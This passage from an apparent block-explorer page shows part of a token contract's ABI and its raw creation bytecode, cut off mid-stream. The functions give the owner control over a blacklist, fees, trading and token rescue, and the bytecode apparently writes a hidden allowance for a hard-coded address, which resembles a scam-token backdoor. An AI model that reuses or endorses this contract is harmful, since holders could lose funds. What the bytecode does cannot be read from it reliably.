"type":"function"},{"inputs":[],"name":"progressRewardBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"refreshFeeAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token_","type":"address"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueLossToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token_","type":"address"},{"internalType":"address","name":"_recipient","type":"address"}],"name":"rescueLossTokenAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetTradeState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reuseLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_holdRewardCondition","type":"uint256"},{"internalType":"uint256","name":"_processRewardCondition","type":"uint256"}],"name":"setDividendCondition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_holdToken","type":"address"},{"internalType":"address","name":"_usdt","type":"address"}],"name":"setDividendToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"b","type":"bool"}],"name":"setExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_user","type":"address[]"},{"internalType":"bool","name":"b","type":"bool"}],"name":"setExcludes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feeMarketingBuy","type":"uint256"},{"internalType":"uint256","name":"_feeLiquidityBuy","type":"uint256"},{"internalType":"uint256","name":"_feeDividendBuy","type":"uint256"},{"internalType":"uint256","name":"_feeBurnBuy","type":"uint256"}],"name":"setFeeBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feeMarketingSell","type":"uint256"},{"internalType":"uint256","name":"_feeLiquiditySell","type":"uint256"},{"internalType":"uint256","name":"_feeDividendSell","type":"uint256"},{"internalType":"uint256","name":"_feeBurnSell","type":"uint256"}],"name":"setFeeSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isLimited_","type":"bool"},{"internalType":"uint256","name":"LimitBuy_","type":"uint256"},{"internalType":"uint256","name":"LimitSell_","type":"uint256"},{"internalType":"uint256","name":"LimitHold_","type":"uint256"}],"name":"setLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"setProcessBlockDuration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"setProcessGasAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_kn","type":"uint256"},{"internalType":"uint256","name":"_kb","type":"uint256"},{"internalType":"address","name":"_surpAddress","type":"address"}],"name":"setSurprise","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"setSwapTokensAt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"s","type":"uint256"}],"name":"setTradeState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"surpAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapSplit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeState","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040805180820182526008808252670484f505059312e360c41b602080840182905284518086019095529184529083015290600362000052838262000982565b50600462000061828262000982565b5050506200007e62000078620001c860201b60201c565b620001cc565b600a80546001600160a01b03191633179055604080516315ab88c960e31b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91600091839163ad5c46489160048083019260209291908290030181865afa158015620000e6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200010c919062000a4e565b905060006200012783836200021e60201b62001b071760201c565b6064601f8190556000602081815560218290556022829055602392909255602481905560258190556026559091506200017c906c3502ee929df4b7e73e40000000908190819062001ccd620003e4821b17901c565b6001620001a582600066038d7ea4c680008060146207a120620003f860201b62001cdc1760201c565b620001be600080336200042e60201b620011251760201c565b5050505062000aba565b3390565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600680546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa1580156200027b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a1919062000a4e565b6040516364e329cb60e11b81526001600160a01b038481166004830152306024830152919091169063c9c65396906044016020604051808303816000875af1158015620002f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000318919062000a4e565b600580546001600160a01b0319166001600160a01b03929092169182179055620003469083908590620004c9565b60085460405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301529091169063095ea7b3906044016020604051808303816000875af11580156200039b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003c1919062000a80565b50620003d1308460001962000639565b506005546001600160a01b031692915050565b620003f3600184848462000761565b505050565b6200040486866200078b565b620004108484620007c3565b6200041b82620007d8565b6200042681620007e7565b505050505050565b600a546001600160a01b03163314806200045257506009546001600160a01b031633145b6200049f5760405162461bcd60e51b81526020600482015260248082015260008051602062004eab83398151915260448201526331ba37b960e11b60648201526084015b60405180910390fd5b603192909255603055602f80546001600160a01b0319166001600160a01b03909216919091179055565b600880546001600160a01b0319166001600160a01b03851617905560408051600280825260608201835260009260208301908036833701905050905030816000815181106200051c576200051c62000aa4565b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811062000553576200055362000aa4565b6001600160a01b0390921660209283029190910182015281516200057e916007919084019062000865565b5060008281526001602081815260408084206fd9447efacd5f9ef847fa881df8e439d080865292528084206006420a90559155600854905163a9059cbb60e01b81526001600160a01b0361100096909601868116600483015260248201939093529194169063a9059cbb906044016020604051808303816000875af11580156200060c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000632919062000a80565b5050505050565b6001600160a01b0383166200069d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162000496565b6001600160a01b038216620007005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000496565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6200076b620007f6565b600d805460ff191694151594909417909355600e91909155600f55601055565b62000795620007f6565b601480546001600160a01b039384166001600160a01b03199182161790915560158054929093169116179055565b620007cd620007f6565b601691909155601755565b620007e2620007f6565b601855565b620007f1620007f6565b601955565b600a546001600160a01b03163314806200081a57506009546001600160a01b031633145b620008635760405162461bcd60e51b81526020600482015260248082015260008051602062004eab83398151915260448201526331ba37b960e11b606482015260840162000496565b565b828054828255906000526020600020908101928215620008bd579160200282015b82811115620008bd57825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062000886565b50620008cb929150620008cf565b5090565b5b80821115620008cb5760008155600101620008d0565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200091157607f821691505b6020821081036200093257634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620003f357600081815260208120601f850160051c81016020861015620009615750805b601f850160051c820191505b8181101562000426578281556001016200096d565b81516001600160401b038111156200099e576200099e620008e6565b620009b681620009af8454620008fc565b8462000938565b602080601f831160018114620009ee5760008415620009d55750858301515b600019600386901b1c1916600185901b17855562000426565b600085815260208120601f198616915b8281101562000a1f57888601518255948401946001909101908401620009fe565b508582101562000a3e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60006020828403121562000a6157600080fd5b81516001600160a01b038116811462000a7957600080fd5b9392505050565b60006020828403121562000a9357600080fd5b8151801515811462000a7957600080fd5b634e487b7160e01b600052603260045260246000fd5b6143e18062000aca6000396000f3fe608060405260043610620005135760003560e01c80638f529912116200029f578063c1e9afa2116200016b578063ec4dbb3011620000d1578063f7a46ec51162000090578063f7a46ec51462000f2d578063f887ea401462000f45578063faee3dd41462000f67578063fdef69491462000f7f578063fe98e00c1462000f97578063fefe84fd1462000fbc57600080fd5b8063ec4dbb301462000e8e578063f0a7c6d81462000eb3578063f2fde38b1462000ecb578063f3f48fdc1462000ef0578063f4a3ff3d1462000f0857600080fd5b8063d36e8239116200012a578063d36e82391462000dd5578063d4d7b19a1462000ded578063d8d3d4471462000e21578063dd54ef6e1462000e39578063dd62ed3e1462000e51578063e1c7392a1462000e7657600080fd5b8063c1e9afa21462000d2a578063c54e44eb1462000d42578063c8a528941462000d64578063c9567bf91462000d89578063ca0277761462000da157600080fd5b8063a8aa1b311162000211578063b6d6303011620001d0578063b6d630301462000c76578063b90922b81462000c98578063b9f8d0d71462000cb0578063ba033c111462000cd5578063bcc100f11462000ced578063bdf7a8e61462000d0557600080fd5b8063a8aa1b311462000bcd578063a9059cbb1462000bef578063ae9163291462000c14578063b572fe341462000c39578063b66e49c71462000c5e57600080fd5b80639c27242b116200025e5780639c27242b1462000b315780639d6109f81462000b495780639ffecfb71462000b61578063a21f31101462000b86578063a457c2d71462000ba857600080fd5b80638f5299121462000a9257806395d89b411462000aaa578063961d3cd31462000ac2578063996d03091462000ae757806399f7d6731462000b0c57600080fd5b80633812e91411620003df5780635b7b15c311620003515780636e4db58711620003105780636e4db58714620009ce57806370a0823114620009f0578063715018a61462000a2a57806373724dd51462000a42578063864e18271462000a5a5780638da5cb5b1462000a7257600080fd5b80635b7b15c3146200092d5780635fe8e7cc146200095257806360f521411462000979578063622565891462000991578063673687b714620009a957600080fd5b80634c7552d6116200039e5780634c7552d614620008845780634e6b805e14620008a657806353674ba614620008cb57806359102a0714620008f057806359909858146200090857600080fd5b80633812e91414620007da5780633950935114620007f257806339a74c8c14620008175780633bbac579146200082f578063438d64e1146200086c57600080fd5b80632a11ced011620004855780632c20aafa11620004445780632c20aafa14620007285780632dab693f14620007405780632f8a21bf1462000758578063313ce567146200077257806331c71f4d146200079057806333f96f4614620007b557600080fd5b80632a11ced014620006a05780632a29ad3b14620006c55780632a59551214620006dd5780632b0e258e14620006f55780632b20fafe146200070d57600080fd5b80631a2e207911620004d25780631a2e207914620005eb5780632287fcb7146200062657806323b872dd146200064b578063240d7d71146200067057806326987b60146200068857600080fd5b806306fdde031462000520578063095ea7b31462000550578063155fc50d146200058657806316f9a5ec14620005ad57806318160ddd14620005d457600080fd5b366200051b57005b600080fd5b3480156200052d57600080fd5b506200053862000fe1565b604051620005479190620039ca565b60405180910390f35b3480156200055d57600080fd5b50620005756200056f36600462003a15565b6200107b565b604051901515815260200162000547565b3480156200059357600080fd5b506200059e60185481565b60405190815260200162000547565b348015620005ba57600080fd5b50620005d2620005cc36600462003a44565b62001097565b005b348015620005e157600080fd5b506002546200059e565b348015620005f857600080fd5b506033546200060d906001600160a01b031681565b6040516001600160a01b03909116815260200162000547565b3480156200063357600080fd5b50620005d26200064536600462003a6d565b620010a6565b3480156200065857600080fd5b50620005756200066a36600462003aab565b620010d0565b3480156200067d57600080fd5b506200059e60205481565b3480156200069557600080fd5b506200059e601a5481565b348015620006ad57600080fd5b506200060d620006bf36600462003a44565b620010fa565b348015620006d257600080fd5b506200059e60255481565b348015620006ea57600080fd5b506200059e601b5481565b3480156200070257600080fd5b506200059e60165481565b3480156200071a57600080fd5b50600b546001111562000575565b3480156200073557600080fd5b506200059e601e5481565b3480156200074d57600080fd5b506200059e60305481565b3480156200076557600080fd5b50600b5460011062000575565b3480156200077f57600080fd5b506040516012815260200162000547565b3480156200079d57600080fd5b50620005d2620007af36600462003af1565b62001125565b348015620007c257600080fd5b50620005d2620007d436600462003c1c565b6200119b565b348015620007e757600080fd5b506200059e602b5481565b348015620007ff57600080fd5b50620005756200081136600462003a15565b620011f2565b3480156200082457600080fd5b506200059e60245481565b3480156200083c57600080fd5b50620005756200084e36600462003c5d565b6001600160a01b03166000908152601c602052604090205460ff1690565b3480156200087957600080fd5b506200059e60315481565b3480156200089157600080fd5b506008546200060d906001600160a01b031681565b348015620008b357600080fd5b50620005d2620008c536600462003c7d565b6200121a565b348015620008d857600080fd5b50620005d2620008ea36600462003a44565b6200122f565b348015620008fd57600080fd5b506200059e602d5481565b3480156200091557600080fd5b50620005d26200092736600462003a44565b62001277565b3480156200093a57600080fd5b50620005d26200094c36600462003a44565b62001286565b3480156200095f57600080fd5b506200096a62001295565b60405162000547919062003ca0565b3480156200098657600080fd5b506200059e60285481565b3480156200099e57600080fd5b50620005d2620012f8565b348015620009b657600080fd5b50620005d2620009c836600462003cef565b6200131b565b348015620009db57600080fd5b506032546200060d906001600160a01b031681565b348015620009fd57600080fd5b506200059e62000a0f36600462003c5d565b6001600160a01b031660009081526020819052604090205490565b34801562000a3757600080fd5b50620005d262001374565b34801562000a4f57600080fd5b50620005d26200138a565b34801562000a6757600080fd5b506200059e600b5481565b34801562000a7f57600080fd5b506009546001600160a01b03166200060d565b34801562000a9f57600080fd5b506200059e60175481565b34801562000ab757600080fd5b50620005386200145a565b34801562000acf57600080fd5b50620005d262000ae136600462003d47565b6200146b565b34801562000af457600080fd5b50620005d262000b0636600462003d47565b620014a0565b34801562000b1957600080fd5b50620005d262000b2b36600462003d7a565b620014d5565b34801562000b3e57600080fd5b506200059e602c5481565b34801562000b5657600080fd5b50620005d26200158c565b34801562000b6e57600080fd5b506200059e62000b8036600462003a44565b620015b0565b34801562000b9357600080fd5b506014546200060d906001600160a01b031681565b34801562000bb557600080fd5b506200057562000bc736600462003a15565b6200166e565b34801562000bda57600080fd5b506005546200060d906001600160a01b031681565b34801562000bfc57600080fd5b506200057562000c0e36600462003a15565b620016fa565b34801562000c2157600080fd5b50620005d262000c3336600462003c5d565b6200170a565b34801562000c4657600080fd5b50620005d262000c5836600462003d47565b62001722565b34801562000c6b57600080fd5b50620005d262001757565b34801562000c8357600080fd5b50602f546200060d906001600160a01b031681565b34801562000ca557600080fd5b506200059e60195481565b34801562000cbd57600080fd5b50620005d262000ccf36600462003dad565b62001768565b34801562000ce257600080fd5b506200059e60265481565b34801562000cfa57600080fd5b506200059e601f5481565b34801562000d1257600080fd5b50620005d262000d2436600462003de0565b62001796565b34801562000d3757600080fd5b506200059e60215481565b34801562000d4f57600080fd5b506015546200060d906001600160a01b031681565b34801562000d7157600080fd5b50620005d262000d8336600462003e2b565b620017e1565b34801562000d9657600080fd5b50620005d262001848565b34801562000dae57600080fd5b506200057562000dc036600462003c5d565b60136020526000908152604090205460ff1681565b34801562000de257600080fd5b506200059e602e5481565b34801562000dfa57600080fd5b506200057562000e0c36600462003c5d565b60126020526000908152604090205460ff1681565b34801562000e2e57600080fd5b506200059e60275481565b34801562000e4657600080fd5b506200059e60225481565b34801562000e5e57600080fd5b506200059e62000e7036600462003d7a565b62001858565b34801562000e8357600080fd5b50620005d262001883565b34801562000e9b57600080fd5b50620005d262000ead36600462003aab565b620018e9565b34801562000ec057600080fd5b506200059e601d5481565b34801562000ed857600080fd5b50620005d262000eea36600462003c5d565b620019a2565b34801562000efd57600080fd5b506200059e60295481565b34801562000f1557600080fd5b50620005d262000f2736600462003dad565b62001a1e565b34801562000f3a57600080fd5b50620005d262001a46565b34801562000f5257600080fd5b506006546200060d906001600160a01b031681565b34801562000f7457600080fd5b506200059e602a5481565b34801562000f8c57600080fd5b506200059e60235481565b34801562000fa457600080fd5b50620005d262000fb636600462003cef565b62001a57565b34801562000fc957600080fd5b50620005d262000fdb36600462003d7a565b62001acf565b60606003805462000ff29062003ee6565b80601f0160208091040260200160405190810160405280929190818152602001828054620010209062003ee6565b8015620010715780601f10620010455761010080835404028352916020019162001071565b820191906000526020600020905b8154815290600101906020018083116200105357829003601f168201915b5050505050905090565b6000336200108b81858562001d12565b60019150505b92915050565b620010a162001e3a565b601855565b620010b062001e3a565b600d805460ff191694151594909417909355600e91909155600f55601055565b600033620010e085828562001e7d565b620010ed85858562001ef8565b60019150505b9392505050565b601181815481106200110b57600080fd5b6000918252602090912001546001600160a01b0316905081565b600a546001600160a01b03163314806200114957506009546001600160a01b031633145b620011715760405162461bcd60e51b8152600401620011689062003f22565b60405180910390fd5b603192909255603055602f80546001600160a01b0319166001600160a01b03909216919091179055565b620011a562001e3a565b60005b8151811015620011ee57620011d9828281518110620011cb57620011cb62003f66565b602002602001015162002221565b80620011e58162003f92565b915050620011a8565b5050565b6000336200108b81858562001208838362001858565b62001214919062003fae565b62001d12565b6200122462001e3a565b601691909155601755565b600a546001600160a01b03163314806200125357506009546001600160a01b031633145b620012725760405162461bcd60e51b8152600401620011689062003f22565b602e55565b6200128162001e3a565b601955565b62001290620022e1565b600b55565b606060118054806020026020016040519081016040528092919081815260200182805480156200107157602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311620012d0575050505050905090565b6200130262001e3a565b600d5460ff16156200131957600d805460ff191690555b565b62001325620022e6565b60005b82518110156200136f576200135a8382815181106200134b576200134b62003f66565b602002602001015183620014a0565b80620013668162003f92565b91505062001328565b505050565b6200137e620022e6565b62001319600062002342565b602354601f546200139c919062003fae565b602755602454602054620013b1919062003fae565b602855602554602154620013c6919062003fae565b602955602654602254620013db919062003fae565b602a55602254602154602054601f54620013f6919062003fae565b62001402919062003fae565b6200140e919062003fae565b602b5560265460255460245460235462001429919062003fae565b62001435919062003fae565b62001441919062003fae565b602c819055602b5462001455919062003fae565b602d55565b60606004805462000ff29062003ee6565b6200147562001e3a565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b620014aa620022e6565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b600a546001600160a01b0316331480620014f957506009546001600160a01b031633145b620015185760405162461bcd60e51b8152600401620011689062003f22565b6040516370a0823160e01b8152306004820152620011ee90839083906001600160a01b038316906370a0823190602401602060405180830381865afa15801562001566573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000ead919062003fc4565b6200159662001e3a565b600d5460ff166200131957600d805460ff19166001179055565b60065460405163d06ca61f60e01b815260009182916001600160a01b039091169063d06ca61f90620015ea90869060079060040162004029565b600060405180830381865afa15801562001608573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405262001632919081019062004044565b905060018151111562001665578060018151811062001655576200165562003f66565b6020026020010151915050919050565b50600092915050565b600033816200167e828662001858565b905083811015620016e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840162001168565b620016ef828686840362001d12565b506001949350505050565b6000336200108b81858562001ef8565b6200171462001e3a565b6200171f8162002221565b50565b6200172c62001e3a565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b62001761620022e1565b6000600b55565b62001772620022e6565b6023849055602483905560258290556026819055620017906200138a565b50505050565b60005b81518110156200136f57620017cc33838381518110620017bd57620017bd62003f66565b60200260200101518562002394565b80620017d88162003f92565b91505062001799565b60005b81518110156200136f57620018333383838151811062001808576200180862003f66565b602002602001015185848151811062001825576200182562003f66565b602002602001015162002394565b806200183f8162003f92565b915050620017e4565b62001852620022e1565b43600b55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6200188d620022e6565b6c3502ee929df4b7e73e4000000073cb5590bc10bd233b646b4cf117106a9844b1bbe27317cba6054dbbc7a66838a5a156c050521fe5b6626200136f83838373c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600162002475565b600a546001600160a01b03163314806200190d57506009546001600160a01b031633145b6200192c5760405162461bcd60e51b8152600401620011689062003f22565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af11580156200197c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620017909190620040de565b620019ac620022e6565b6001600160a01b03811662001a135760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162001168565b6200171f8162002342565b62001a28620022e6565b601f849055602083905560218290556022819055620017906200138a565b62001a50620022e1565b6001600b55565b62001a6162001e3a565b60005b82518110156200136f5781600c600085848151811062001a885762001a8862003f66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558062001ac68162003f92565b91505062001a64565b62001ad962001e3a565b601480546001600160a01b039384166001600160a01b03199182161790915560158054929093169116179055565b600680546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa15801562001b64573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b8a9190620040fe565b6040516364e329cb60e11b81526001600160a01b038481166004830152306024830152919091169063c9c65396906044016020604051808303816000875af115801562001bdb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001c019190620040fe565b600580546001600160a01b0319166001600160a01b0392909216918217905562001c2f9083908590620025c8565b60085460405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301529091169063095ea7b3906044016020604051808303816000875af115801562001c84573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001caa9190620040de565b5062001cba308460001962001d12565b506005546001600160a01b031692915050565b6200136f6001848484620010a6565b62001ce8868662001acf565b62001cf484846200121a565b62001cff8262001097565b62001d0a8162001277565b505050505050565b6001600160a01b03831662001d765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162001168565b6001600160a01b03821662001dd95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162001168565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a546001600160a01b031633148062001e5e57506009546001600160a01b031633145b620013195760405162461bcd60e51b8152600401620011689062003f22565b600062001e8b848462001858565b9050600019811462001790578181101562001ee95760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640162001168565b62001790848484840362001d12565b6001600160a01b0383166000908152601c6020526040902054839060ff161562001f555760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001168565b6001600160a01b0383166000908152601c6020526040902054839060ff161562001fb25760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001168565b6001600160a01b0385166000908152600c602052604090205460ff168062001ff257506001600160a01b0384166000908152600c602052604090205460ff165b8062001ffc575082155b1562002015576200200f85858562002394565b6200221a565b60008062002031876005546001600160a01b0390811691161490565b15620020c657600b546001106200208b5760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001168565b62002097868662002731565b620020a4878787620027a6565b15620020b25750506200221a565b620020be87866200284e565b9150620021de565b6005546001600160a01b03808816911603620021bf57600b5460011115620021315760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001168565b8462002152886001600160a01b031660009081526020819052604090205490565b036200216857620021656065866200411e565b94505b620021726200287e565b156200218157506001620021ae565b6200218c8562002b33565b602d54156200219f576200219f62002ba2565b620021ab878662002bf0565b91505b620021b98762002221565b620021de565b620021cb868662002c05565b602d5415620021de57620021de62002ba2565b620021f68787620021f085896200411e565b62002ce4565b600060295411801562002207575080155b1562002217576200221762002dbb565b50505b5050505050565b6001600160a01b0381163b15620022355750565b6001600160a01b03811660009081526013602052604090205460ff16156200225a5750565b6001600160a01b03811660009081526012602052604090205460ff166200171f576001600160a01b03166000818152601260205260408120805460ff191660019081179091556011805491820181559091527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c680180546001600160a01b0319169091179055565b620013195b6009546001600160a01b03163314620013195760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162001168565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038316600090815260208190526040902054818110156200240e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840162001168565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b612710601d8190556007601e55620024a0906200249460648862004134565b620008ea919062004134565b603280546001600160a01b0319166001600160a01b038616179055620024c7838662003012565b620024d43360016200146b565b620024e13060016200146b565b620024ee8460016200146b565b620024fb8360016200146b565b80156200255a576200250f30600162001722565b6200251d6000600162001722565b6200252a60018062001722565b6200253961dead600162001722565b62002544846200170a565b6200254f836200170a565b6200255a336200170a565b620025646200138a565b81604051620025739062003915565b6001600160a01b039091168152602001604051809103906000f080158015620025a0573d6000803e3d6000fd5b50603380546001600160a01b0319166001600160a01b03929092169190911790555050505050565b600880546001600160a01b0319166001600160a01b03851617905560408051600280825260608201835260009260208301908036833701905050905030816000815181106200261b576200261b62003f66565b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811062002652576200265262003f66565b6001600160a01b0390921660209283029190910182015281516200267d916007919084019062003923565b5060008281526001602081815260408084206fd9447efacd5f9ef847fa881df8e439d080865292528084206006420a90559155600854905163a9059cbb60e01b81526001600160a01b0361100096909601868116600483015260248201939093529194169063a9059cbb906044016020604051808303816000875af11580156200270b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200221a9190620040de565b600d5460ff1615620011ee57600e54156200279a57600e548111156200279a5760405162461bcd60e51b815260206004820152601b60248201527f65786365656473206f662062757920616d6f756e74204c696d69740000000000604482015260640162001168565b620011ee828262002c05565b600060305460001480620027ba5750603154155b15620027c957506000620010f3565b603054600b54620027db919062003fae565b43101562002844576000601d5460315484620027f8919062004157565b62002804919062004134565b602f549091506200282c9086906001600160a01b03166200282684876200411e565b62002394565b6200283985858362002394565b6001915050620010f3565b5060009392505050565b6000601d54602b548362002863919062004157565b6200286f919062004134565b90506200109183308362002394565b600080600560009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015620028d5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620028fb9190620040fe565b90506000600560009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa15801562002953573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620029799190620040fe565b9050600080600560009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015620029d2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620029f891906200418e565b506005546040516370a0823160e01b81526001600160a01b0391821660048201526001600160701b0393841695509190921692506000918616906370a0823190602401602060405180830381865afa15801562002a59573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002a7f919062003fc4565b6005546040516370a0823160e01b81526001600160a01b039182166004820152919250600091908616906370a0823190602401602060405180830381865afa15801562002ad0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002af6919062003fc4565b9050306001600160a01b0387160362002b24576103e862002b1884836200411e565b11965050505050505090565b6103e862002b1885846200411e565b600d5460ff16801562002b4857506000600f54115b156200171f57600f548111156200171f5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f662073656c6c20616d6f756e74204c696d697400000000604482015260640162001168565b603354600160a01b900460ff161562002bb757565b30600090815260208190526040902054602e5481106200171f576000601e548262002be3919062004134565b9050620011e